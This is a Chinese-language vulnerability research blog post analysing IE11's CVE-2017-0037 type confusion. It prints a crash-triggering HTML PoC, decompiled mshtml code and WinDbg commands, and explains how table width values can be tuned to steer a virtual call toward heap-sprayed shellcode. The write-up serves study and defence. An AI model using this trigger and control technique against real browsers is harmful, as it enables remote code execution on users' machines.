IE11 CVE-2017-0037 Type Confusion分析

 

最近在用WinAFL,看到作者ifratric在2017年利用winafl发现了CVE-2017-0037这个洞, 类型是type confusion,没分析过这种类型的洞,并且在分析恶意代码时遇到过,但是并没有分析具体原因,所以就自己动手复现了一下,详细的捋了一下整个流程

 

环境搭建

浏览器环境

1544771564552

开启页堆

1544779102026

为了便于分析并在分析中节省时间,建议将symbol path设置在共享目录里,附加过后设置一个快照

1544779329222

 

漏洞分析

首先利用ifratric给出的PoC进行测试

<!-- saved from url=(0014)about:internet -->
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
function boom() {
  document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
  th1.align = "right";
}
</script>
<body onload="setInterval(boom,100)">
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="5" width=0></th>
<th class="class2" width=0><div class="class2"></div></th>

结果

1544779599878

崩溃调用栈

1544779934252

分析HandleColumnBreakOnColumnSpanningElement函数

signed int __fastcall Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement(Layout::ContainerBoxBuilder *a1, Tree::ANode *a2, int a3)
{
  int v3; // esi
  Layout::ContainerBoxBuilder *v4; // eax
  int v5; // ecx
  int v6; // ecx
  bool v7; // zf
  Layout::ContainerBoxBuilder *v8; // ebx
  int v9; // eax
  Tree::ANode *v10; // eax
  Tree::ANode *v11; // edi
  char v13; // al
  int v14; // eax
  int v15; // eax
  _DWORD *v16; // ebx
  _DWORD *v17; // eax
  char v18; // al
  int v19; // eax
  int v20; // [esp+0h] [ebp-2Ch]
  char v21; // [esp+Ch] [ebp-20h]
  Tree::ANode *v22; // [esp+14h] [ebp-18h]
  _DWORD *v23; // [esp+18h] [ebp-14h]
  int *v24; // [esp+1Ch] [ebp-10h]
  int v25; // [esp+20h] [ebp-Ch]
  Layout::ContainerBoxBuilder *v26; // [esp+24h] [ebp-8h]
  bool v27; // [esp+2Bh] [ebp-1h]

  v22 = a2;
  v3 = 0;
  v4 = Layout::ContainerBoxBuilder::ParentContainerBoxBuilder(a1);
  v6 = *(_DWORD *)(v5 + 16);
  v7 = *(_DWORD *)(v6 + 136) == 0;
  v25 = *(_DWORD *)(v6 + 12);
  v27 = v7;
  while ( 1 )
  {
    v8 = v4;
    v26 = v4;
    if ( !v4 )
      return 0;
    if ( Layout::LayoutBoxBuilder::IsMultiColumnBoxBuilder(v4) )
    {
      if ( v8 )
      {
        v9 = *((_DWORD *)v8 + 131);
        if ( v9 == 1 || v9 == 2 || v9 == 4 )
        {
          v10 = Layout::MultiColumnBoxBuilder::LastColumnSpanningElement(v8);
          v11 = v22;
          if ( v10 == v22 || v10 && Tree::ANode::StartsBefore(v22, v10) )
            return 2;
          if ( !(*((_BYTE *)v8 + 576) & 1) )
          {
            SP<Tree::ElementNode>::operator=((char *)v8 + 560, v11);
            *((_DWORD *)v8 + 141) = v3 + a3;
            *((_BYTE *)v8 + 568) ^= (v27 ^ *((_BYTE *)v8 + 568)) & 1;
            return 1;
          }
        }
      }
      return 0;
    }
    v13 = (*(int (__thiscall **)(Layout::ContainerBoxBuilder *))(*(_DWORD *)v8 + 84))(v26);
    if ( &v20 != &v20 )
      __fastfail(4u);
    if ( v13 )
    {
      v14 = (*(int (__thiscall **)(Layout::ContainerBoxBuilder *, char *))(*(_DWORD *)v26 + 88))(v26, &v21);
      if ( &v20 != &v20 )
        __fastfail(4u);
      v3 += *(_DWORD *)(v14 + 4);
    }
    if ( v27 )
    {
      v15 = *((_DWORD *)v26 + 4);               // TableGridBoxBuilder
      v16 = *(_DWORD **)(v15 + 136);            // TableGridBox
      v23 = *(_DWORD **)(v15 + 136);
      if ( !*(_DWORD *)Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(v23) )
        goto LABEL_35;
      v17 = (_DWORD *)Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(v16);
      v24 = &v20;
      v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)*v17 + 0x1A4))(*v17);
      if ( v24 != &v20 )
        __fastfail(4u);
      if ( v18
        && (v19 = Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(v23),
            *(_DWORD *)(*(_DWORD *)v19 + 12) == v25) )
      {
LABEL_35:
        v27 = 1;
      }
      else
      {
        v27 = 0;
      }
    }
    v25 = *(_DWORD *)(*((_DWORD *)v26 + 4) + 12);
    v4 = Layout::ContainerBoxBuilder::ParentContainerBoxBuilder(v26);
  }
}

可以发现通过函数Layout::ContainerBoxBuilder::ParentContainerBoxBuilder,循环处理元素,为了清楚到底是怎么处理的,将所有的处理结果打印处理出来

// mshtml.dll x86
bu 663DBF61 ".printf "###BeforeWhile=> 参数(ecx): "; dps ecx L1; .printf "                 返回值(ecx+0x14): "; dps poi(ecx+0x14) L1;g"
bu 6669FCE4 ".printf "###InWhile=> 参数(ecx): "; dps ecx L1; .printf "             返回值(ecx+0x14): "; dps poi(ecx+0x14) L1;g"

结果

1544784678085

最后一次的返回值,是一个TableGridBoxBuilder类型,在转换中出错

可以看到最终出错是在将TableGridBoxBuilder转换到SGridBoxItem的过程

 v15 = *((_DWORD *)v26 + 4);    // 获得TableGridBoxBuilder对象
 v16 = *(_DWORD **)(v15 + 136); // TableGridBox
 v23 = *(_DWORD **)(v15 + 136);
 if ( !*(_DWORD *)Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(v23) ) // 转换出错

既然出错在TableGridBoxBuilder对象上,那就来看看TableGridBoxBuilder对象是如何生成的,其生成涉及到三个主要函数

 Layout::TableGridBoxBuilder::TableGridBoxBuilder
 Layout::TableGridBoxBuilder::Constructor
 Layout::TableGridBoxBuilder::CreateTableGridBoxBuilder

首先其构造函数

Layout::TableGridBox *__thiscall Layout::TableGridBox::TableGridBox(Layout::TableGridBox *this, struct Tree::ElementNode *a2, struct Layout::ContainerBoxBuilder *a3, bool a4, bool a5, struct Layout::ScrollState *a6)
{
  Layout::TableGridBox *v6; // esi
  _DWORD *v7; // edi
  int v8; // eax
  Layout::TableGridBox *v9; // esi
  char v11; // [esp+Ch] [ebp-10h]
  Layout::TableGridBox *v12; // [esp+18h] [ebp-4h]

  v6 = this;
  v12 = this;
  Layout::ContainerBox::ContainerBox(this, a2, a3, a4, a5, a6);
  *(_DWORD *)v6 = &Layout::TableGridBox::`vftable';
  v7 = (_DWORD *)((char *)v6 + 164);
  *((_DWORD *)v6 + 34) = 0;   // readable 读取对象(34*4=136)
  *((_DWORD *)v6 + 35) = 0;      // readable 返回对象
  *((_DWORD *)v6 + 36) = 0;
  *((_DWORD *)v6 + 37) = 0;
  *((_DWORD *)v6 + 38) = 0;
  *((_DWORD *)v6 + 39) = 0;
  *((_DWORD *)v6 + 40) = 0;
  *v7 = 0;
  v7[1] = 0;
  v7[2] = 0;
  v7[3] = 0;
  *((_DWORD *)v6 + 47) = 0;
  *((_DWORD *)v6 + 48) = 0;
  *((_DWORD *)v6 + 49) = 0;
  *((_DWORD *)v6 + 50) = 0;
  *((_DWORD *)v6 + 51) = 0;
  *((_DWORD *)v6 + 52) = 0;
  *((_DWORD *)v6 + 53) = 0;
  *v7 = Math::SRectangle::Empty;
  *((_DWORD *)v6 + 42) = *(&Math::SRectangle::Empty + 1);
  *((_DWORD *)v6 + 43) = *(&Math::SRectangle::Empty + 2);
  *((_DWORD *)v6 + 44) = *(&Math::SRectangle::Empty + 3);
  *((_BYTE *)v6 + 216) &= 0xFEu;
  *((_DWORD *)v6 + 45) = 0;
  *((_DWORD *)v6 + 46) = 0;
  v8 = Layout::LayoutBox::ComputedStyle(v6, &v11);
  v9 = v12;
  *((_BYTE *)v9 + 134) ^= ((*(_BYTE *)(*(_DWORD *)v8 + 1115) >> 5) & 1 ^ *((_BYTE *)v12 + 134)) & 1;
  SP<Layout::FlexBoxBuilderRow>::operator=(0);
  return v9;
}

可以看到这里构造了一个空对象,再看CreateTableGridBoxBuilder函数,这个是理解整个过程很重要的函数,为了看的更加清晰一点,我截图+注释

1544937709318

Layout::TableGridBox::InitializeColumnData中初始化了TableGridBox对象,跟踪进入

1544938073266

Layout::TableGridBoxBuilder::Constructor

1544938198026

再跟进Layout::ContainerBoxBuilder::Constructor

1544938290950

捋一下,大概的关系是这样的

TableGridBoxBuilder
    |
    |--> +4 =>存储 TableGrideBox
                    |
                    |--> +136 => 得到Array<Math::SLayoutMeasure>数组

再回到Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement函数,出错的情况下,各个对象是这样的

1544938574310

上面的整个过程是我们理论分析出来的,看看实际执行情况,是不是这样

1544938911289

创建数组这里,windbg符号发生了错误,可以通过IDA看一下真正的函数

1544939070977

可以发现,我们理论推测的和实际执行情况是一致的。出错的原因是,由于参数是个数组,但是Readable把它当成对象,导致Type Confusion

出错的具体原因找到了,来看看能不能利用,接下来分析一下攻击面,看看通过控制哪个参数,能够控制EIP

 

利用构建

再来看一下出错附近的函数使用情况

1544939799992

其中有一个虚表函数调用,可以发现我们只要能够控制ArrayObject_1+4位置的值,就可以造成命令执行。

整体的过程大概是这样的

TableGridBoxBuilder
    |
    |--> +4 =>存储 TableGrideBox
                    |
                    |--> +136 存储ArrayObject_1
                                |
                                |-> +4 存储p_vftable
                                            |
                                            |-> +0x1A4 存储一个虚表函数

如果想控制p_vftable,就需要控制ArrayObject_1,然而ArrayObject_1是在TableGrideBox初始化函数Layout::TableGridBox::InitializeColumnData初始化的。

1544966802600

可以看到数组中的值,来自于TableBoxBuilder的对象+165位移处。为了不产生歧义,这里为以后的分析,解释一下,165是双字表示的,换成字节表示,位移应该是660/0x294

这里我们需要分析一下TableBoxBuilder+165处的具体数据,其实就像我们上面分析TableGridBoxBuilder一样。

与其相关的构建函数

Layout::TableBoxBuilder::TableBoxBuilder    
Layout::TableBoxBuilder::CreateTableBoxBuilder
Layout::TableBoxBuilder::Constructor

经过多次分析,其实可以直接猜到会利用这三个函数进行构建,所以根据上面的分析,直接看Layout::TableBoxBuilder::CreateTableBoxBuilder

1544967673521

跟进Constructor

1544967760805

通过两处标注出来的地方,发现TableBoxBuilderObject,在中途被改变了,动态跟踪一下

1544967945743

确实被改变了,说明通过直接分析TableBoxBuilder对象的方式,分析出TableBoxBuilder+0x294位移处的数据有点不太方便,这里先暂时放一放,如果别的方法不行的话,再来分析这个。

换一种方法,直接再次分析Layout::TableGridBox::InitializeColumnData

ArrayObject = (Layout::TableGridBox *)((char *)TableGridBoxObject + 136);
  v5 = *(_DWORD *)(*((_DWORD *)v4 + 7) + 80) + 1;
  v6 = Array<Math::SLayoutMeasure>::Create((int *)&v12, v5);
  SArray<enum  Tree::BorderSideEnum>::operator=((_DWORD *)TableGridBoxObject + 34, v6);// 将数组v6赋值给TableGridBoxObject+136位置(readable读取对象->数组)
  v7 = 0;
  if ( !*((_DWORD *)TableGridBoxObject + 34) )
    goto LABEL_18;
  if ( !(*((_BYTE *)TableGridBoxObject + 132) & 8) )
  {
    index = 0;
    if ( v5 > 0 )
    {
      ArrayObject_copy = ArrayObject;
      do
      {
        *(_DWORD *)(*ArrayObject_copy + 4 * index) = *(_DWORD *)(*((_DWORD *)TableBoxBuildObject + 165) + 4 * index); // 跟踪TableBoxBuilder对象的构建过程
        ++index;
      }
      while ( index < v5 );
      TableGridBoxObject = v14;
      v7 = 0;
    }
  }

对应的反汇编

1544968231915

可以发现ebx+0x294位置存放的结构,存储着我们需要的数据,利用堆跟踪数据来源

1544968613028

通过分析堆的来源,到这里可以发现,其实可以根据更改width去影响最后出错位置,指向shellcode,到这里正常来说,我感觉就可以去分析利用过程了。但是,这是我第一次分析浏览器方面的漏洞,想深入分析一下,接着分析。这个过程对于我这种第一次分析的人来说,特别困难,基本用了一周多所有的业余时间来做这个。

首先根据堆的提示,来看一下相关代码

1545395759055

在这里分析的过程中,走了一点弯路,起初在看伪码时,有点摸不着头脑,想了很久,想分析的方法。之后在这里没有找到出路,就再次回头去分析TableBoxBuilder+0x294的事。

其实这里可以一直往下分析的,最后也可以成功找到具体数据生成的方法,而且还会少走很多的弯路!

先来介绍我走的弯路,其中有很多分析的方法和经验还是很好的

跟踪TableBoxBuilder+0x294数据

TableBoxBuilder对应的空间被创建后下断点,断下来后,在+0x294被写入时,再次下写入断点

bu 66146DF8 ".echo ======Change 0x294 Data======;r @$t0=eax; bc 1; ba w1 @$t0+0x294 "dd poi(@$t0+0x294) L4;r eip;kb; g";g"

结果

1545396775422

Layout::TableBoxBuilder::InitializeBoxSizing

1545396931717

+0x294a4+0xc改变了,所以再回溯,进入Layout::FlowBoxBuilder::OnChildBoxEntry函数,这个函数特别长,只截取用到的部分

1545397180395

可以发现[FloBoxBuilder+136]+0xc的值存储了TableBoxBuilder+0x294的值。为了分析FlowBoxBuilder,我又分析了FlowBoxBuilder的结构,这个过程比较恶心,很复杂,只说个结果吧

CreateTableBoxBuilder+136 
    |
    | => TableBoxBuilder+0x294 
            |
            | => (FlowBoxBuilder+0x114)+0xc

其中

FlowBoxBuilder+0x114 
    |
    | =>  存储 SBoxModel
                | 
                | => +0xc 存储 Layout::STableBoxSizeCalculator + 0x4数据

最终的结果是Layout::STableBoxSizeCalculator+0x4中存储了我们最终的数组。

Layout::STableBoxSizeCalculator *__thiscall Layout::STableBoxSizeCalculator::STableBoxSizeCalculator(Layout::STableBoxSizeCalculator *this, int a2, int a3, int a4)
{
  Layout::STableBoxSizeCalculator *v4; // edi
  int v5; // ecx

  v4 = this;
  *(_DWORD *)this = 0;
  *((_DWORD *)this + 1) = 0;
  *((_DWORD *)this + 2) = 0;
  *((_DWORD *)this + 3) = 0;
  *((_DWORD *)this + 4) = 0;
  *((_DWORD *)this + 5) = 0;
  *((_DWORD *)this + 6) = 0;
  SArray<Layout::GridBlockTrackCollection::SRange>::operator=(this, (int)this);
  SArray<Layout::GridBlockTrackCollection::SRange>::operator=((_DWORD *)v4 + 1, v5);
  *((_DWORD *)v4 + 2) = 0;
  *((_DWORD *)v4 + 3) = 0;
  *((_DWORD *)v4 + 4) = 0;
  *((_DWORD *)v4 + 5) = 0;
  *((_DWORD *)v4 + 6) = 0;
  Layout::STableBoxSizeCalculator::CalculateTableUsedWidth(v4, a2, a3, a4);
  return v4;
}

而在Layout::STableBoxSizeCalculator::CalculateTableUsedWidth中,更改了+0x4位置的数据

void __thiscall Layout::STableBoxSizeCalculator::CalculateTableUsedWidth(Layout::STableBoxSizeCalculator *this, int a2, int a3, int a4)
{
  Layout::STableBoxSizeCalculator *v4; // edi
  struct Tree::TableGridBlock *v5; // ebx
  int v6; // esi
  char v7; // [esp+Ch] [ebp-28h]
  char v8; // [esp+14h] [ebp-20h]
  int v9; // [esp+18h] [ebp-1Ch]
  int v10; // [esp+24h] [ebp-10h]
  int v11; // [esp+28h] [ebp-Ch]
  int v12; // [esp+2Ch] [ebp-8h]

  v4 = this;
  v5 = *(struct Tree::TableGridBlock **)(a2 + 28);
  Tree::TableGridBlock::EnsureTableStructureRelatedFormatsAreReadyToUse(*(Tree::TableGridBlock **)(a2 + 28));
  Layout::STableBoxSizeCalculator::STableWidthCalculator::STableWidthCalculator(&v7, a2, a3, a4);
  *((_DWORD *)v4 + 2) = v11;
  *((_DWORD *)v4 + 3) = v9;
  *((_DWORD *)v4 + 4) = v10;
  Layout::STableBoxSizeCalculator::CalculateColumnUsedWidthAndOffset(// 改变值
    v4,
    v5,
    (enum System::MemoryAllocationResultEnum *)&v12);
  if ( v12 )
  {
    v6 = 0;
    for ( *((_DWORD *)v4 + 6) = 0; v6 < *((_DWORD *)v5 + 13); ++v6 )
    {
      if ( v6 >= *((_DWORD *)v5 + 20) + 1 )
        break;
      if ( Tree::TableGridBlock::IsColumnVisibilityCollapse(v5, v6) )
        *((_DWORD *)v4 + 6) += *((_DWORD *)v4 + 4) + *(_DWORD *)(*(_DWORD *)v4 + 4 * v6);
    }
    *((_DWORD *)v4 + 5) = *((_DWORD *)v4 + 3) + *((_DWORD *)v4 + 2);
  }
  SP<Layout::PageCollectionItem>::~SP<Layout::PageCollectionItem>((System::SmartObject **)&v8);
}

而其调用的函数Layout::STableBoxSizeCalculator::CalculateColumnUsedWidthAndOffset更改了目标值

1545398601242

可以看到v14影响着最终结果数组,而v14又被v13所更改,跟踪Layout::STableBoxSizeCalculator::STableColumnDistributor::STableColumnDistributor

Layout::STableBoxSizeCalculator::STableColumnDistributor *__thiscall Layout::STableBoxSizeCalculator::STableColumnDistributor::STableColumnDistributor(_DWORD *this, int a2, int a3, _DWORD *a4)
{
  Layout::STableBoxSizeCalculator::STableColumnDistributor *v4; // ebx
  _DWORD *v5; // edi
  int *v6; // eax
  char v8; // [esp+10h] [ebp-4h]

  v4 = (Layout::STableBoxSizeCalculator::STableColumnDistributor *)this;
  *this = 0;
  v5 = this + 2;
  this[1] = 0;
  this[2] = 0;
  this[6] = 0;
  this[7] = 0;
  this[9] = 0;
  this[10] = 0;
  this[11] = 0;
  this[12] = 0;
  this[13] = 0;
  this[14] = 0;
  *a4 = 1;
  SP<Collections::GrowingItemListNode<SP<Tree::TableCellBlock>>>::operator=(this, a2);
  *((_DWORD *)v4 + 1) = a3;
  *((_DWORD *)v4 + 3) = 0;
  *((_DWORD *)v4 + 4) = 0;
  *((_DWORD *)v4 + 5) = 0;
  *((_DWORD *)v4 + 6) = 0;
  *((_DWORD *)v4 + 7) = 0;
  *((_DWORD *)v4 + 11) = 0;
  *((_DWORD *)v4 + 9) = 0;
  *((_DWORD *)v4 + 10) = 0;
  *((_DWORD *)v4 + 12) = 0;
  *((_DWORD *)v4 + 13) = 0;
  *((_DWORD *)v4 + 14) = 0;
  *((_DWORD *)v4 + 8) = 0;
  *((_DWORD *)v4 + 15) = 0;
  *((_DWORD *)v4 + 16) = 0;
  v6 = Array<Math::SLayoutMeasure>::Create((int *)&v8, *(_DWORD *)(a2 + 80) + 1);
  SArray<enum  Tree::BorderSideEnum>::operator=(v5, v6);
  if ( *v5 )
    Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateColumnsUsedWidth(v4);
  else
    *a4 = 0;
  return v4;
}

其值被Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateColumnsUsedWidth更改

void __thiscall Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateColumnsUsedWidth(Layout::STableBoxSizeCalculator::STableColumnDistributor *this)
{
  Layout::STableBoxSizeCalculator::STableColumnDistributor *v1; // esi
  Layout::STableBoxSizeCalculator::STableColumnDistributor *v2; // ecx
  Layout::STableBoxSizeCalculator::STableColumnDistributor *v3; // ecx
  int v4; // [esp+4h] [ebp-4h]

  v1 = this;
  Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateColumnsTotalMinMaxWidths(this);
  Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePercentColumnsTotalUsedWidth(v1);
  Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePercentColumnsUsedWidth(v1, &v4);
  Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateNonPercentColumnsUsedWidth(v1, v4);
  Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePixelAndAutoColumnsTotalWidth(v1);
  Layout::STableBoxSizeCalculator::STableColumnDistributor::DeterminePixelAndAutoColumnsDistributionMethod(v2);
  Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateAutoColumnsUsedWidth(v3);
  Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePixelColumnsUsedWidth(v1); // 改变值函数
  Layout::STableBoxSizeCalculator::STableColumnDistributor::DistributeRoundingErrors(v1);
}

根据反复调试,最后更改数据的函数在这里

void __thiscall Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePixelColumnsUsedWidth(Layout::STableBoxSizeCalculator::STableColumnDistributor *this)
{
  Layout::STableBoxSizeCalculator::STableColumnDistributor *v1; // edi
  int v2; // ebx
  int v3; // eax
  int v4; // ecx
  int v5; // eax
  int v6; // eax
  int v7; // eax
  int v8; // eax
  int v9; // esi
  int v10; // esi
  _DWORD **v11; // eax
  int v12; // edi
  _DWORD *v13; // eax
  _DWORD *v14; // eax
  int v15; // [esp+Ch] [ebp-24h]
  int v16; // [esp+10h] [ebp-20h]
  int v17; // [esp+18h] [ebp-18h]
  char v18; // [esp+1Ch] [ebp-14h]
  char v19; // [esp+20h] [ebp-10h]
  char v20; // [esp+24h] [ebp-Ch]
  Layout::STableBoxSizeCalculator::STableColumnDistributor *v21; // [esp+28h] [ebp-8h]
  int v22; // [esp+2Ch] [ebp-4h]

  v1 = this;
  v2 = 0;
  v21 = this;
  if ( *((_DWORD *)this + 3) > 0 )
  {
    v3 = *((_DWORD *)this + 16);
    v4 = *(_DWORD *)(*(_DWORD *)this + 80) + 1;
    v22 = *(_DWORD *)(*(_DWORD *)v1 + 80) + 1;
    v5 = v3 - 1;
    if ( v5 )
    {
      v6 = v5 - 1;
      if ( v6 )
      {
        v7 = v6 - 1;
        if ( v7 )
        {
          if ( v7 == 1 )
          {
            v8 = 0;
            v9 = *((_DWORD *)v1 + 11) - *((_DWORD *)v1 + 7);
            v21 = 0;
            if ( v4 > 0 )
            {
              do
              {
                Tree::TableGridBlock::ColumnMeasure(*(_DWORD **)v1, &v15, v8);
                if ( v17 && v17 == 1 )
                {
                  if ( *((_DWORD *)v1 + 7) <= 0 )
                    v14 = Math::SLayoutMeasure::MulDivQuickRound(&v19, v9, 1, *((_DWORD *)v1 + 3));
                  else
                    v14 = Math::SLayoutMeasure::MulDivQuickRound(&v20, v9, v16, *((_DWORD *)v1 + 7));
                  *(_DWORD *)(*((_DWORD *)v1 + 2) + 4 * (_DWORD)v21) = v16 + *v14;
                }
                v8 = (int)v21 + 1;
                v21 = (Layout::STableBoxSizeCalculator::STableColumnDistributor *)v8;
              }
              while ( v8 < v22 );
            }
          }
        }
        else
        {
          v10 = *((_DWORD *)v1 + 7) - *((_DWORD *)v1 + 6);
          v11 = (_DWORD **)v21;
          v12 = *((_DWORD *)v1 + 11) - *((_DWORD *)v21 + 6);
          if ( v4 > 0 )
          {
            do
            {
              Tree::TableGridBlock::ColumnMeasure(*v11, &v15, v2);
              if ( v17 && v17 == 1 )
              {
                v13 = Math::SLayoutMeasure::MulDivQuickRound(&v18, v12, v16 - v15, v10);
                *(_DWORD *)(*((_DWORD *)v21 + 2) + 4 * v2) = v15 + *v13;
              }
              v11 = (_DWORD **)v21;
              ++v2;
            }
            while ( v2 < v22 );
          }
        }
      }
      else if ( v4 > 0 )
      {
        do
        {
          Tree::TableGridBlock::ColumnMeasure(*(_DWORD **)v1, &v15, v2);// 更改v16
          if ( v17 && v17 == 1 )
            *(_DWORD *)(*((_DWORD *)v1 + 2) + 4 * v2) = v16;// 改变值的循环
          ++v2;
        }
        while ( v2 < v22 );
      }
    }
    else if ( v4 > 0 )
    {
      do
      {
        Tree::TableGridBlock::ColumnMeasure(*(_DWORD **)v1, &v15, v2);
        if ( v17 && v17 == 1 )
          *(_DWORD *)(*((_DWORD *)v1 + 2) + 4 * v2) = v15;
        ++v2;
      }
      while ( v2 < v22 );
    }
  }
}

v16v15更改,跟进

_DWORD *__thiscall Tree::TableGridBlock::ColumnMeasure(_DWORD *this, _DWORD *a2, int index)
{
  _DWORD *result; // eax
  _DWORD *v4; // esi

  if ( this[16] && index < this[17] )
  {
    result = a2;
    v4 = (_DWORD *)(this[16] + 16 * index);
    *a2 = *v4;
    ++v4;
    a2[1] = *v4; // 被赋予this[16] + 16 * index指向值
    ++v4;
    a2[2] = *v4;
    a2[3] = v4[1];
  }
  else
  {
    Tree::STableColumnMeasure::STableColumnMeasure(a2, 0, 0, 0, 0);
    result = a2;
  }
  return result;
}

之后回退,看看传进来的值什么时候改变的,最终回退到这里

1546050062958

传进来的ebp-50h竟然在sub esp,54h就有了初始值

1546050310122

这么一来,根据我有限的经验(虽然有,但是我真的没找到),就无法再追踪数据了。其实在调试的过程中,能够知道数组的长度是和colspan有关的,但是不知道width和最终的结果有着什么样的数据关系。至少从逆向的角度,我还没有想到好的办法。

期间看了k0shl牛的文章说Layout::ContainerBoxBuilder::ComputeBoxModelForChildWithUsedWidth完成了width*100,但是分析了这个函数也没有找到。

所以在尝试了很长时间的调试之后,我开始想了别的方法。

从纯数学的角度考虑,假设输入输出是线性关系

input (线性变化)=> output

因为目前已知结果只和width有关,所以假设结果和输入是一元一次的线性关系,并设置colspan为0

a*input_1 + b = output_1
a*input_2 + b = output_2

结果为a=100,b=200,测试一个数据input_1=50,计算结果为0x1450

1546051383802

至此,整个关系捋清楚了,我们可以通过堆喷,从而控制EIP,但是在利用的过程中发现,只用CVE-2017-0037没有办法直接绕过win7下的ASLR+DEP,还需要一个内存泄露的洞来形成利用链才行。所以打算下篇分析CVE-2017-0059,这个洞由于UAF导致的内存泄露,正好结合这个洞,形成一个完整的利用链。到时再给出完整的exploit。但是还有很多fuzzing结果需要分析,可能会稍微慢点:)。

 

总结

第一次分析浏览器相关的漏洞,可能是难度比较大,导致这个洞的分析资料比较少,中文的也就k0shl大牛的分析还算详细,但是很多跳跃太大了,要想连贯起来,作为新手还要花费很多时间去不断调试。分析过程很痛苦,但是收获也很大。

最后欢迎批评指正。

 

参考

P0 ifratric

k0shl分析

CVE to PoC – CVE-2017-0037

(完)